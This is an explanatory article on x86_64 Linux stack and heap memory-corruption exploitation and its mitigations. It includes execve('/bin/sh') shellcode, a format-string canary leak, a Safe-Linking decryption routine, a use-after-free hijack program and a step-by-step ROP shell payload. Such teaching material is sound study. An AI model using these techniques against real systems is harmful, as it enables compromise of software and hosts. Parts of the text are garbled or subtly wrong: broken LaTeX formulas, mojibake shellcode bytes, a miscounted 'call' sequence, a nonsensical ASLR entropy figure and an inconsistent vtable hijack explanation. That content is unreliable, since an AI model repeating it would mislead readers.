How Stack and Heap Memory Corruption Exploits Work

When a compiled C or C++ binary executes on an x86_64 Linux system, the CPU does not understand high-level variables, object lifetimes, or data structure boundaries. The processor executes machine code instructions that manipulate raw memory addresses stored in general-purpose registers and stack frames. The runtime security of compiled native software rests entirely on the operational assumption that memory reads and writes remain strictly within their designated buffer boundaries.

When an application violates these boundaries, a memory corruption vulnerability occurs. Depending on whether the affected data structure resides on the thread execution stack or within the dynamically allocated heap, an attacker can overwrite execution control metadata, hijack register state, subvert allocator management structures, or manipulate virtual function tables.

This article details the low-level mechanics of stack and heap memory corruption, the evolution of binary exploitation techniques from simple shellcode injection to Return-Oriented Programming (ROP), and the hardware, OS, and compiler countermeasures designed to mitigate these vulnerabilities.

The Memory Model of a Compiled Process

On a 64-bit Linux architecture, a user-space process operates within a virtual address space managed by the CPU Memory Management Unit (MMU) and multi-level page table entries. In modern x86_64 hardware, memory translation uses either 4-level paging (Paging Level 4, managing a 48-bit virtual address space of 256 TB) or 5-level paging (Paging Level 5, managing a 57-bit virtual address space of 128 PB).

Canonical Virtual Addressing and Address Space Segments

Canonical address rules dictate that bits 47 through 63 (in 4-level paging) must match bit 47. Addresses failing this condition trigger a General Protection Fault (#GP). The kernel partitions this canonical virtual address space into user-space memory (lower canonical addresses) and kernel-space memory (upper canonical addresses):

+-----------------------------------+ 0x7FFFFFFFFFFF (High User Memory)
| Environment Variables & Arguments |
+-----------------------------------+
| Stack Segment (Grows Downward)    |
|   [ thread execution frames ]     |
|                |                  |
|                v                  |
+-----------------------------------+
|               ...                 |  Unmapped Virtual Memory Gap
+-----------------------------------+
| Shared Libraries (.so)            |  Mapped via mmap()
+-----------------------------------+
|                ^                  |
|                |                  |
| Heap Segment (Grows Upward)       |  Managed via brk() / sbrk()
+-----------------------------------+
| BSS Segment (Uninitialized Data)  |  Read/Write
+-----------------------------------+
| Data Segment (Initialized Data)   |  Read/Write
+-----------------------------------+
| Text Segment (.text executable)   |  Read/Execute
+-----------------------------------+ 0x000000000000 (Low User Memory)

The Executable and Linkable Format (ELF) loader maps code sections, global variables, dynamic libraries, heap allocations, and stack frames into distinct virtual memory pages. Memory pages possess explicit access permissions governed by Page Table Entries (PTEs):

1. .text Segment: Houses compiled machine code instructions. Marked Read-Only and Executable (R-X).
2. .rodata Segment: Houses constant values, string literals, and compiler jump tables. Marked Read-Only (R--).
3. .data Segment: Houses explicitly initialized global and static variables. Marked Read/Write (RW-).
4. .bss Segment: Houses uninitialized global and static variables, zero-filled by the loader. Marked Read/Write (RW-).
5. Heap Segment: Holds dynamically allocated runtime objects requested via brk(), sbrk(), or mmap(). Marked Read/Write (RW-).
6. Stack Segment: Houses local variables, function call arguments, saved frame pointers, and return addresses for each executing thread. Marked Read/Write (RW-).

Memory corruption occurs when a program performs an out-of-bounds write to a writable segment (RW-), altering neighboring memory addresses that govern control flow logic or allocator management pointers.

Stack Layout and Frame Overflows

The execution stack is a Last-In, First-Out (LIFO) memory structure allocated to each thread. It maintains function execution contexts, tracks return paths across nested calls, and stores local function variables.

x86_64 Stack Frame Anatomy and System V AMD64 ABI

Under the System V AMD64 ABI used by Linux, BSD, and macOS, two hardware registers control execution stack frames:

1. rsp (Stack Pointer): Points to the current top (lowest memory address) of the stack.
2. rbp (Base Pointer / Frame Pointer): Points to the base of the current function stack frame.

The System V AMD64 ABI establishes three explicit stack manipulation rules:

• 16-Byte Alignment Rule: The stack pointer rsp must be 16-byte aligned (rsp % 16 == 0) before executing any call instruction. This alignment ensures that SIMD vector instructions such as SSE movaps, which operate on 128-bit stack variables, do not trigger an alignment fault exception (#GP).
• Red Zone Rule: A 128-byte region below the current stack pointer rsp (from [rsp - 8] down to [rsp - 128]) is reserved as the Red Zone. Leaf functions (functions that call no other functions) may use this memory for local variables without adjusting rsp. Signal handlers and hardware interrupts will not overwrite the Red Zone.
• Register Argument Passing: The first six scalar or pointer arguments are passed in registers (rdi, rsi, rdx, rcx, r8, r9). Additional arguments are pushed onto the stack in reverse order prior to the function call.

High Memory Addresses
+-----------------------------------+
| Argument 8                        | <- [rbp + 24]
+-----------------------------------+
| Argument 7                        | <- [rbp + 16]
+-----------------------------------+
| Return Address (Pushed by CALL)   | <- [rbp + 8]
+-----------------------------------+
| Saved Base Pointer (Saved RBP)    | <- [rbp + 0]
+-----------------------------------+
| Stack Canary / Cookie             | <- [rbp - 8]
+-----------------------------------+
| Compiler Padding (16-B Alignment) |
+-----------------------------------+
| Local Variable: int status        | <- [rbp - 20]
+-----------------------------------+
| Local Variable: char buffer[64]   | <- [rbp - 84]
+-----------------------------------+ <- rsp (Stack Pointer)
Low Memory Addresses

The Function Execution Lifecycle

When function main() calls parse_input(char *src), the CPU and compiled code execute a precise sequence of machine instructions:

1. The Caller Sequence (CALL)

The caller places the function argument in register rdi and executes call parse_input. The call instruction performs two primitive operations atomically:

1. Decrements stack pointer rsp by 8 bytes (rsp = rsp - 8).
2. Writes the 64-bit address of the next instruction following call (the Return Address) into memory at [rsp].
3. Sets instruction pointer rip to the target address of parse_input.

2. The Function Prologue

Inside parse_input, the function establishes its private stack frame:

push rbp            ; Save caller frame pointer on stack (rsp = rsp - 8, [rsp] = rbp)
mov  rbp, rsp       ; Establish new frame pointer at current top of stack
sub  rsp, 0x60      ; Reserve 96 bytes for local variables, canary, and alignment

3. The Function Epilogue (LEAVE and RET)

When parse_input finishes, it dismantles its stack frame using leave and ret:

leave               ; Performs: mov rsp, rbp; pop rbp (restores caller frame pointer)
ret                 ; Performs: pop rip (pops return address from [rsp] into RIP, rsp = rsp + 8)

Overwriting Frame Boundaries

A stack-based buffer overflow occurs when code writes data past the boundary of a stack-allocated array without verifying input length limits. Consider the following C function:

#include <stdio.h>
#include <string.h>
 
void parse_input(const char *user_supplied_str) {
    char buffer[64];
    /* Vulnerable string copy: performs no length verification */
    strcpy(buffer, user_supplied_str);
}
 
int main(int argc, char **argv) {
    if (argc > 1) {
        parse_input(argv[1]);
    }
    return 0;
}

The compiler allocates 64 bytes for buffer starting at offset rbp - 0x40. If user_supplied_str contains 88 bytes of data, strcpy() writes bytes starting at [rbp - 0x40] and continues writing upwards toward higher memory addresses, overwriting adjacent frame data:

Memory Slot Offset  Original Contents       Overwritten Bytes (88 bytes 'A')
-------------------------------------------------------------------------------
[rbp - 0x40]        buffer[0..63]           0x4141414141414141 (64 bytes)
[rbp + 0x00]        Saved RBP (8 bytes)     0x4141414141414141 (8 bytes)
[rbp + 0x08]        Return Address (8B)     0x4141414141414141 (8 bytes)
[rbp + 0x10]        Caller Local Data       0x4141414141414141 (8 bytes)

When parse_input() completes execution and issues ret, the CPU pops the value at [rsp] (which points to [rbp + 0x08]) directly into rip. Because the return address was overwritten with 0x4141414141414141, the CPU attempts to fetch instructions from non-canonical memory address 0x4141414141414141, causing a Segmentation Fault (SIGSEGV). If the attacker replaces 0x4141414141414141 with a valid virtual address targeting executable payload code, control flow is hijacked.

Off-By-One Frame Poisoning

Stack corruption does not require massive input buffers. An off-by-one error writing a single null byte past array boundaries can alter the least significant byte of the saved base pointer rbp.

void process_record(int fd) {
    char buffer[256];
    int i;
    /* Bug: loop writes 257 bytes into a 256-byte buffer */
    for (i = 0; i <= 256; i++) {
        read(fd, &buffer[i], 1);
    }
}

Writing 257 bytes fills buffer[0..255] and overwrites the lowest byte of saved rbp at [rbp + 0x00] with 0x00. If the original saved rbp address was 0x7fffffffde40, the single byte overwrite converts it to 0x7fffffffde00.

When process_record() executes leave, mov rsp, rbp sets rsp to 0x7fffffffde40, and pop rbp sets rbp to corrupted address 0x7fffffffde00. The calling function now executes using a corrupted frame pointer that points directly inside the attacker-controlled buffer[] array on the stack. When the caller subsequently executes leave; ret, mov rsp, rbp moves rsp directly into buffer[], and ret pops a fake return address supplied by the attacker from buffer[], executing arbitrary code using only a single off-by-one byte overwrite.

Classic Shellcode Injection Mechanics

On early systems lacking non-executable memory permissions, attackers redirected the return address to point directly into a stack buffer containing hand-crafted machine code (shellcode).

To improve exploit reliability against minor stack address variances, payloads prepended a NOP sled (a series of 0x90 No-Operation instructions) prior to the shellcode payload:

+-----------------------+-----------------------+-----------------------+
| NOP Sled              | Shellcode Payload     | Overwritten Return    |
| ...   | H1ö...       | Address -> Points     |
|                       |                       | to NOP Sled Address   |
+-----------------------+-----------------------+-----------------------+
Low Memory Address                                      High Memory Address

If the overwritten return address lands anywhere within the NOP sled, the CPU executes 0x90 instructions sequentially until it reaches the shellcode payload.

An x86_64 Linux execve("/bin/sh", NULL, NULL) shellcode payload can be implemented in 24 bytes:

section .text
global _start
_start:
    xor rsi, rsi                  ; Clear RSI (argv = NULL)
    xor rdx, rdx                  ; Clear RDX (envp = NULL)
    mov rax, 0x68732f6e69622f     ; Load string "/bin/sh�" in little-endian format
    push rax                      ; Push string onto stack
    mov rdi, rsp                  ; Set RDI = pointer to "/bin/sh" string on stack
    mov al, 59                    ; Set RAX = 59 (sys_execve syscall number)
    syscall                       ; Execute system call

Assembling these assembly instructions produces the machine byte string:

H1öH1ÒH¸/bin/sh�PH‰ç°;

If stack address boundaries are fixed, overwriting the return address with the address of [rbp - 0x40] executes the shellcode payload with the permissions of the running process.

Heap Management and Allocation Vulnerabilities

Unlike the execution stack, the heap manages dynamic memory allocations whose sizes and operational lifetimes are determined at runtime. In user-space Linux distributions, glibc implements memory management using ptmalloc (derived from Doug Lea's dlmalloc).

glibc ptmalloc Memory Chunk Architecture

ptmalloc requests memory blocks from the Linux kernel using brk() (extending the heap segment breakpoint) or mmap() (creating anonymous virtual memory mappings). The allocator structures heap regions into arenas (struct malloc_state). The primary thread uses main_arena, while secondary threads instantiate separate sub-arenas to prevent multi-threaded lock contention.

Every heap allocation requested via malloc(size_t size) returns a data payload pointer inside a contiguous malloc_chunk layout:

struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous physical chunk (if free) */
  INTERNAL_SIZE_T      mchunk_size;       /* Chunk size in bytes, plus flag bits       */
 
  struct malloc_chunk* fd;                /* Forward pointer: used only when free      */
  struct malloc_chunk* bk;                /* Backward pointer: used only when free     */
 
  /* Extended pointers used only for largebin chunks: */
  struct malloc_chunk* fd_nextsize;
  struct malloc_chunk* bk_nextsize;
};

Chunk Memory Layout and Bitwise Flag Masks

Memory chunk headers precede the payload pointer returned to user applications:

Allocated Chunk Memory Layout:
+-----------------------------------+-----------------------------------+
| mchunk_prev_size (if prev free)   | mchunk_size | A | M | P (Flags)   |
+-----------------------------------+-----------------------------------+ <- Pointer Returned by malloc()
| User Data Payload ...                                                 |
| ...                                                                   |
+-----------------------------------------------------------------------+
 
Free Chunk Memory Layout:
+-----------------------------------+-----------------------------------+
| mchunk_prev_size (if prev free)   | mchunk_size | A | M | P (Flags)   |
+-----------------------------------+-----------------------------------+
| Forward Pointer (fd)              | Backward Pointer (bk)             |
+-----------------------------------+-----------------------------------+
| Unused Memory Space / Largebin Skip Pointers...                       |
+-----------------------------------------------------------------------+

Because all chunk allocations on 64-bit systems align to 16-byte memory boundaries, the lowest three bits of the 64-bit mchunk_size header are always zero by default. ptmalloc uses these three unused bits to store chunk allocation flags:

• P (PREV_INUSE, 0x1): Set to 1 if the physically preceding chunk in memory is currently allocated. If P is 0, the preceding chunk is free, and its size is recorded in mchunk_prev_size.
• M (IS_MMAPPED, 0x2): Set to 1 if the chunk was allocated directly via an individual mmap() system call rather than carved out of a heap arena.
• A (NON_MAIN_ARENA, 0x4): Set to 1 if the chunk belongs to a secondary thread arena rather than main_arena.

Heap Bin Structures and Deallocation Queues

When memory is deallocated via free(void *ptr), ptmalloc places the freed chunk into specialized linked lists (bins) categorized by chunk size to accelerate subsequent allocation requests:

+-----------------------------------------------------------------------+
|                       ptmalloc Bin Topology                           |
+-------------------+-------------------+-------------------------------+
| Bin Category      | Chunk Size Range  | Organization & List Type      |
+-------------------+-------------------+-------------------------------+
| Tcache            | 24 to 1032 Bytes  | Singly-Linked LIFO (Per Thread)|
| Fastbins          | 32 to 160 Bytes   | Singly-Linked LIFO (Arena)    |
| Unsorted Bin      | Any Size          | Doubly-Linked Circular (Arena)|
| Smallbins         | < 1024 Bytes      | Doubly-Linked FIFO (Arena)    |
| Largebins         | >= 1024 Bytes     | Doubly-Linked Sorted (Arena)  |
+-------------------+-------------------+-------------------------------+

1. Thread Local Caching (Tcache)

Introduced in glibc 2.26, tcache provides per-thread memory pools using a tcache_perthread_struct stored at the beginning of each heap arena:

typedef struct tcache_entry {
  struct tcache_entry *next;
  /* Pointer mangling key stored in glibc 2.32+ */
  uintptr_t key;
} tcache_entry;
 
typedef struct tcache_perthread_struct {
  uint16_t counts[TCACHE_MAX_BINS];         /* Array tracking chunk count per bin */
  tcache_entry *entries[TCACHE_MAX_BINS];   /* Array of singly-linked list heads  */
} tcache_perthread_struct;

tcache holds up to 7 chunks per bin across 64 size classes (spanning 24 to 1032 bytes on 64-bit systems). Operations use LIFO ordering without requesting arena thread locks.

2. Fastbins

Fastbins maintain singly-linked LIFO lists for small allocations (up to 80 bytes payload / 160 bytes chunk size). Chunks placed in fastbins retain their PREV_INUSE bit set on neighboring physical chunks to prevent immediate backward chunk consolidation.

3. Unsorted Bin

The unsorted bin is a doubly-linked circular ring list stored in main_arena. When chunks larger than tcache limits are freed, they arrive in the unsorted bin. During subsequent malloc() invocations, ptmalloc traverses the unsorted bin, attempting to fulfill requests directly or sorting chunks into smallbins and largebins.

4. Smallbins

Smallbins comprise 62 doubly-linked FIFO queues handling chunks strictly smaller than 1024 bytes. Each bin holds a single fixed chunk size spaced in 16-byte increments. Because smallbin lists are doubly-linked, insertions and deletions perform fd and bk pointers validation (P->fd->bk == P and P->bk->fd == P).

5. Largebins

Largebins handle chunks $\ge 1024$ bytes across 63 doubly-linked queues sorted logarithmically by size and age. Chunks in largebins use two additional list pointers (fd_nextsize and bk_nextsize) to form a skip list that speeds up searches for best-fit chunks.

Safe-Linking Pointer Obfuscation (glibc 2.32+)

To prevent attackers from overwriting singly-linked list pointers (next / fd) in tcache and fastbins to point to arbitrary memory addresses, glibc 2.32 introduced Safe-Linking pointer mangling.

When a chunk is linked into a tcache or fastbin list, its stored fd pointer is obfuscated using an XOR transformation with a randomized ASLR address:

$$ ext{Mangled_Pointer} = \left( ext{Pos} \gg 12 ight) \oplus ext{Target_Pointer}$$

Where $ ext{Pos}$ represents the virtual address of the memory pointer slot itself.

/* Standard glibc safe-linking macro implementation */
#define PROTECT_PTR(pos, ptr)   ((__typeof__ (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
 
#define REVEAL_PTR(pos, ptr)   PROTECT_PTR(pos, ptr)

To bypass Safe-Linking, an exploit must first leak a heap memory address. Because bit-shifting $ ext{Pos} \gg 12$ exposes the top 12 bits of the random heap page base, an attacker can iteratively decrypt mangled pointers using bitwise shift-XOR operations:

uint64_t safe_linking_decrypt(uint64_t cipher) {
    uint64_t key = cipher >> 12;
    uint64_t plain = cipher ^ key;
    key = plain >> 24;
    plain = cipher ^ key;
    return plain;
}

Detailed Use-After-Free (UAF) Exploit Walkthrough

A Use-After-Free (UAF) vulnerability occurs when an application continues dereferencing a memory pointer after the associated block has been returned to the heap via free().

Consider the following vulnerable C++ program that manages a virtual function service object and user session data structures:

#include <cstdlib>
#include <cstring>
#include <iostream>
 
class TargetService {
public:
    virtual void execute() {
        std::cout << "[+] Executing normal service routine
";
    }
};
 
struct UserSession {
    void (*auth_callback)();
    char session_id[24];
};
 
int main() {
    /* Step 1: Allocate C++ object containing a vtable pointer */
    TargetService *service = new TargetService();
    
    /* Step 2: Free object memory, but retain dangling 'service' pointer */
    delete service; 
 
    /* Step 3: Allocate a user session object of identical chunk size */
    UserSession *session = (UserSession *)malloc(sizeof(TargetService));
 
    /* Step 4: Write attacker-controlled function address into session data */
    session->auth_callback = (void (*)())0x00007ffff7a00123; // Target payload address
 
    /* Step 5: Dereference the dangling pointer */
    service->execute(); // Triggers indirect call to 0x00007ffff7a00123
 
    return 0;
}

Detailed GDB Memory Dump Breakdown

We analyze the step-by-step heap memory changes inside GDB to visualize how ptmalloc chunk re-allocation facilitates arbitrary control flow hijacking.

Step 1: Memory State After TargetService Allocation

new TargetService() allocates a 32-byte chunk (0x20 bytes chunk size including headers) at heap virtual address 0x5555557582a0. GDB inspects the raw heap memory contents using x/4gx 0x555555758290:

(gdb) x/4gx 0x555555758290
0x555555758290: 0x0000000000000000  0x0000000000000021 <- Chunk Header (Size 0x20 | PREV_INUSE)
0x5555557582a0: 0x0000555555557d88  0x0000000000000000 <- Payload: [0x5555557582a0] = Vtable Pointer

The first 8 bytes of the returned payload at 0x5555557582a0 hold 0x0000555555557d88, which points directly to the virtual function table TargetService::vtable.

Step 2: Memory State After delete service

Calling delete service returns the 32-byte chunk to tcache_perthread_struct. The memory contents shift to reflect free chunk metadata:

(gdb) x/4gx 0x555555758290
0x555555758290: 0x0000000000000000  0x0000000000000021 <- Chunk Header
0x5555557582a0: 0x0000000555555758  0x5555557580100042 <- Payload: [fd mangled pointer] | [tcache key]

The memory location 0x5555557582a0 now stores a mangled tcache forward pointer pointing to the next free chunk in the bin. Crucially, the pointer variable service in application code still stores address 0x5555557582a0.

Step 3: Memory State After malloc(sizeof(TargetService))

Because UserSession requires 32 bytes, malloc() searches tcache for a 32-byte chunk, matching the chunk just freed at 0x5555557582a0. The allocator pops this chunk from tcache and returns address 0x5555557582a0 to session.

Writing session->auth_callback = 0x00007ffff7a00123 overwrites the first 8 bytes of the payload:

(gdb) x/4gx 0x555555758290
0x555555758290: 0x0000000000000000  0x0000000000000021 <- Chunk Header
0x5555557582a0: 0x00007ffff7a00123  0x4141414141414141 <- Payload: auth_callback | session_id[0..7]
0x5555557582b0: 0x4141414141414141  0x4141414141414141 <- Payload: session_id[8..23]

Step 4: Control Flow Hijack Execution

When the application executes service->execute(), the CPU performs the standard C++ virtual function lookup assembly sequence:

mov rax, QWORD PTR [rdi]        ; Load vtable pointer from [0x5555557582a0] -> RAX = 0x00007ffff7a00123
mov rax, QWORD PTR [rax]        ; Load function address from vtable slot
call rax                        ; Jump to target function!

Because [0x5555557582a0] now contains 0x00007ffff7a00123, the CPU treats 0x00007ffff7a00123 as a vtable pointer, dereferences it, and jumps directly to the attacker-controlled target address.

Double-Free Exploitation

A Double-Free vulnerability occurs when free() is called twice on the exact same pointer address without an intervening allocation request.

Double-freeing a chunk corrupts allocator linked lists by creating a circular reference inside fastbin or tcache lists:

void *a = malloc(0x40);
void *b = malloc(0x40);
 
free(a);
free(b);
free(a); /* Double-Free: chunk 'a' is linked into the free list a second time */

This sequence creates a circular list loop:

Initial State:
Tcache Head -> [ Chunk A ] -> [ Chunk B ] -> NULL
 
After second free(a):
Tcache Head -> [ Chunk A ] -> [ Chunk B ] -> [ Chunk A ] -> [ Chunk B ] ... (Circular Loop)

Subsequent allocation calls return:

1. ptr1 = malloc(0x40) returns Chunk A.
2. ptr2 = malloc(0x40) returns Chunk B.
3. ptr3 = malloc(0x40) returns Chunk A a second time.

ptr1 and ptr3 now point to the exact same physical heap memory address. Writing data to ptr3 overwrites active data structures used by ptr1, yielding arbitrary read and write primitives.

Unsorted Bin Infoleak Mechanics

To defeat Address Space Layout Randomization (ASLR), an exploit must discover the base address of libc.so in virtual memory. ptmalloc unsorted bins provide a reliable memory disclosure primitive.

When a heap chunk larger than tcache and fastbin limits (e.g. 1024 bytes) is freed, it is placed into the unsorted bin doubly-linked list inside main_arena:

void *p = malloc(0x420);    /* Allocate 1056-byte chunk (exceeds tcache bounds) */
void *guard = malloc(0x20); /* Prevent physical chunk consolidation with top chunk */
 
free(p);                    /* Chunk 'p' is placed into the unsorted bin list */

Because the unsorted bin is a circular doubly-linked list, placing p into an empty unsorted bin initializes its fd and bk pointers to point directly to the unsorted_chunks head structure inside main_arena within libc.so.

If an application contains a Use-After-Free or out-of-bounds read vulnerability that exposes p->fd, reading the first 8 bytes of p discloses a direct virtual address within libc.so. Subtracting the fixed compilation offset of main_arena isolates the exact base virtual address of libc.so:

$$ ext{Libc_Base_Address} = ext{Leaked_FD_Address} - ext{Offset_main_arena_unsortedbin}$$

Binary Mitigation Mechanisms

To prevent memory corruption bugs from yielding reliable system exploitation, operating systems and compilers employ layered defense protections across CPU hardware and software runtime boundaries.

GCC Stack Canaries (-fstack-protector)

Stack canaries (or stack cookies) protect against stack frame return address overwrites. The compiler inserts a guard value into the stack frame between local arrays and saved frame pointers during function prologues.

High Memory Address
+-----------------------------------+
| Return Address                    |
+-----------------------------------+
| Saved Base Pointer (RBP)          |
+-----------------------------------+
| Stack Canary Guard (8 Bytes)      | <- Inserted by Function Prologue
+-----------------------------------+
| Local Buffers / Stack Variables   |
+-----------------------------------+
Low Memory Address

Prologue and Epilogue Code Generation

In binaries compiled with GCC or Clang using -fstack-protector-all, the canary guard value is fetched from Thread Local Storage (TLS) segment offset %fs:0x28 on x86_64 Linux:

; Function Prologue Implementation
mov    rax, QWORD PTR fs:0x28    ; Load random canary value from TLS segment offset 0x28
mov    QWORD PTR [rbp-0x8], rax  ; Store canary in stack frame directly below saved RBP
xor    eax, eax                  ; Clear register copy to prevent leakage
 
; Function Body Execution (Buffer Overflow Occurs Here)
 
; Function Epilogue Implementation
mov    rax, QWORD PTR [rbp-0x8]  ; Fetch canary value from stack frame
xor    rax, QWORD PTR fs:0x28    ; XOR compare against original TLS master canary
je     .stack_ok                 ; If result is zero (match), proceed to return path
call   __stack_chk_fail          ; Canary mismatched! Abort execution immediately.
.stack_ok:
leave
ret

If a buffer overflow writes past stack arrays, it must overwrite the 8-byte canary value at [rbp - 0x8] before reaching the return address. When __stack_chk_fail() detects a mismatch during the epilogue, it outputs *** stack smashing detected *** and raises SIGABRT to kill the process.

Canary Format and Leak Vectors

On 64-bit Linux systems, the kernel generates a random 64-bit value (__stack_chk_guard) during process startup. The lowest byte of the canary is always a null byte (0x00). This null byte prevents string-handling functions like strcpy() or gets() from overflowing past the canary unless explicit null bytes are supplied in the input string.

Format string vulnerabilities (printf(user_input)) allow reading arbitrary stack parameters (%11$lx), exposing the 64-bit canary value to bypass the protection:

# Leaking stack canary using format string parameter specifier
$ ./vulnerable_app "%11\$lx"
7f43a9b1c2d3e400  # Stack Canary disclosed. Note the 00 null byte at LSB.

Non-Executable Memory (DEP / NX)

Data Execution Prevention (DEP) or the No-Execute (NX) bit utilizes CPU Memory Management Unit (MMU) page table permissions to mark writable data segments (Stack, Heap, BSS) as non-executable (RW-).

Page Table Entry (PTE) Bit 63 Architecture:
+-------------------------------------------------------+---+
| Physical Page Base Address (Bits 12..51)              |NX |
+-------------------------------------------------------+---+
                                                         |
                                 0 = Code Execution Allowed --
                                 1 = Code Execution Blocked (#PF)

Bit 63 of an x86_64 Page Table Entry functions as the No-Execute (NX / XD) flag bit. If the CPU instruction pointer rip attempts to fetch machine instructions from a virtual page where bit 63 is set to 1, the MMU generates a Page Fault exception (#PF) with error code 0x10 (Instruction Fetch Violation), causing the Linux kernel to terminate the process with a Segmentation Fault (SIGSEGV).

DEP renders traditional shellcode injection ineffective because code residing on stack or heap pages cannot execute, even if rip is redirected to those memory locations.

Address Space Layout Randomization (ASLR) and PIE

Address Space Layout Randomization (ASLR) causes the kernel to randomize the base virtual addresses of memory segments upon every process execution:

• Stack segment base address
• Heap segment base address
• Memory-mapped regions (Dynamic libraries like libc.so, thread stacks)

Process Execution Run #1:
Stack Base:   0x7ffdb1200000
Heap Base:    0x559e1a400000
Libc Base:    0x7f12a4800000
 
Process Execution Run #2:
Stack Base:   0x7ffc8f900000
Heap Base:    0x5612c2100000
Libc Base:    0x7f88e1200000

Linux Entropy Bounds and Configuration

ASLR randomization entropy is governed by kernel sysctl settings:

# Check current Linux ASLR configuration (0 = Disabled, 1 = Partial, 2 = Full)
$ sysctl vm.randomize_va_space
vm.randomize_va_space = 2
 
# Check mmap entropy bits configured in kernel
$ sysctl vm.mmap_rnd_bits
vm.mmap_rnd_bits = 28

On 64-bit Linux systems, vm.mmap_rnd_bits provides 28 to 32 bits of entropy for memory-mapped regions, resulting in 256,144 unique base page combinations for libc.so. The stack receives 24 to 30 bits of entropy, while the heap (brk) receives 13 to 28 bits.

Position-Independent Executables (PIE) extend ASLR to the main application executable code segment (.text). Without PIE, the application code loads at static base address 0x400000, supplying fixed gadget addresses for exploitation even if stacks and dynamic libraries are randomized.

RELRO (Relocation Read-Only)

Dynamic ELF executables resolve external library functions using the Global Offset Table (.got) and Procedure Linkage Table (.plt).

When an application calls printf(), execution jumps to printf@plt, which reads the actual resolved virtual address from printf@got.

1. Partial RELRO: The .got section is placed before .data in virtual memory to prevent buffer overflow overwrites from reaching global variables, but .got.plt remains writable (RW-). Attackers can overwrite .got.plt entries with the address of system() to hijack library calls.
2. Full RELRO (-z relro -z now): The dynamic linker resolves all imported dynamic symbols at startup time (BIND_NOW) and re-marks the entire .got memory page read-only (R--). Subsequent attempts to write to GOT entries trigger a segmentation fault.

Return-Oriented Programming (ROP) Chains

When DEP/NX prevents stack shellcode execution and ASLR randomizes absolute memory addresses, attackers bypass these mitigations using Return-Oriented Programming (ROP).

ROP does not inject new code. Instead, it reuses existing executable machine instruction snippets (called gadgets) located within executable binary segments (.text) or loaded dynamic libraries (libc.so).

Anatomical Structure of a ROP Gadget

A ROP gadget is a short sequence of instructions ending in a ret instruction (0xc3 opcode):

pop rdi ; ret         ; Machine bytes: 5f c3
pop rsi ; ret         ; Machine bytes: 5e c3
pop rdx ; ret         ; Machine bytes: 5a c3
mov [rdi], rsi ; ret  ; Machine bytes: 48 89 37 c3

Because ret pops the top value from the stack into rip (pop rip), an attacker who controls stack contents can chain multiple gadgets sequentially by placing gadget virtual addresses on the stack.

ROP Gadget Finding Algorithms

Exploit developers locate ROP gadgets inside compiled binary files using automated gadget search algorithms implemented in tools like ROPgadget or ropper.

Executable Binary File (.text Segment)
[ 0x48 0x89 0xe5 0x5f 0xc3 ... 0x48 0x31 0xc0 0x5e 0xc3 ]
                    |    |                      |    |
                    +----+                      +----+
            Gadget 1: pop rdi; ret       Gadget 2: pop rsi; ret

Search algorithms operate through backward linear disassembly scans:

1. Opcode Scanning: Scan executable .text sections for 0xc3 (ret), 0xc2 (ret imm16), 0xff 0xe0 (jmp rax), or 0x0f 0x05 (syscall).
2. Backward Decoding: For every discovered 0xc3 byte offset, the algorithm steps backward 1 to 15 bytes (the maximum length of an x86_64 instruction) and attempts to disassemble forward.
3. Instruction Validation: The algorithm verifies that the decoded instruction sequence contains valid executable instructions and terminates cleanly at the target ret byte without encountering invalid opcodes or non-returning control transfers (jmp, call).

Executing a Syscall via a ROP Stack Payload

To invoke execve("/bin/sh", NULL, NULL) on 64-bit Linux under System V AMD64 ABI, an exploit payload must populate CPU registers prior to triggering a syscall instruction:

• rax: 59 (sys_execve system call number)
• rdi: Memory pointer address to string "/bin/sh�"
• rsi: 0 (NULL pointer for argv)
• rdx: 0 (NULL pointer for envp)

Assuming an unsorted bin infoleak discloses the base address of libc.so (defeating ASLR), the attacker calculates gadget offsets within libc.so and constructs a ROP stack frame payload:

Stack Offset        Payload Memory Value                    Target CPU Action On RET Execution
-------------------------------------------------------------------------------------------------------
[rbp + 0x08]        Address of Gadget 1 (`pop rdi; ret`)    Popped into RIP by vulnerable function RET
[rbp + 0x10]        Address of "/bin/sh" string in libc    Popped into RDI register by Gadget 1
[rbp + 0x18]        Address of Gadget 2 (`pop rsi; ret`)    Popped into RIP by Gadget 1 RET
[rbp + 0x20]        0x0000000000000000                      Popped into RSI register by Gadget 2
[rbp + 0x28]        Address of Gadget 3 (`pop rdx; ret`)    Popped into RIP by Gadget 2 RET
[rbp + 0x30]        0x0000000000000000                      Popped into RDX register by Gadget 3
[rbp + 0x38]        Address of Gadget 4 (`pop rax; ret`)    Popped into RIP by Gadget 3 RET
[rbp + 0x40]        0x000000000000003b (59 decimal)         Popped into RAX register by Gadget 4
[rbp + 0x48]        Address of Gadget 5 (`syscall`)         Popped into RIP by Gadget 4 RET -> Launches Shell!

Step-by-Step ROP Chain Execution Trace

1. The vulnerable function executes ret. The CPU pops [rbp + 0x08] (Address of pop rdi; ret) into rip.
2. Gadget 1 executes pop rdi. The value at [rbp + 0x10] (Address of "/bin/sh") is popped into rdi. rsp increments by 8.
3. Gadget 1 executes ret. The CPU pops [rbp + 0x18] (Address of pop rsi; ret) into rip.
4. Gadget 2 executes pop rsi. 0x0 at [rbp + 0x20] is popped into rsi.
5. Execution continues down the stack chain until Gadget 5 executes syscall. The Linux kernel reads rax=59, rdi=ptr("/bin/sh"), rsi=0, rdx=0, executing /bin/sh with current process privileges.

Disabling DEP via mprotect() ROP Chains

Rather than invoking execve(), an exploit can use ROP to call mprotect() to remove execution protections from a memory page containing traditional shellcode:

/* Standard Linux kernel mprotect syscall signature */
int mprotect(void *addr, size_t len, int prot);

The ROP chain populates registers to execute mprotect(0x7ffff7ff0000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC):

rdi = 0x7ffff7ff0000 (Page-aligned memory address containing shellcode)
rsi = 0x1000         (Page size length: 4096 bytes)
rdx = 0x7            (Bitwise flags: PROT_READ | PROT_WRITE | PROT_EXEC)
rax = 10             (sys_mprotect syscall number)

Once mprotect() returns, the specified memory page becomes executable (RWE). The final gadget in the ROP chain jumps directly to rsp, executing shellcode without DEP restrictions.

Stack Pivoting Mechanics

If a buffer overflow provides insufficient stack space to write a full multi-gadget ROP chain (e.g. only 16 bytes can be written past rbp), attackers execute a Stack Pivot.

A stack pivot manipulates the stack pointer register rsp to point to an attacker-controlled memory region (such as a heap allocation or BSS segment) housing the full extended ROP chain.

Stack pivots use instructions that exchange or move register values into rsp:

mov rsp, rbp ; pop rbp ; ret   ; Restores stack pointer from RBP
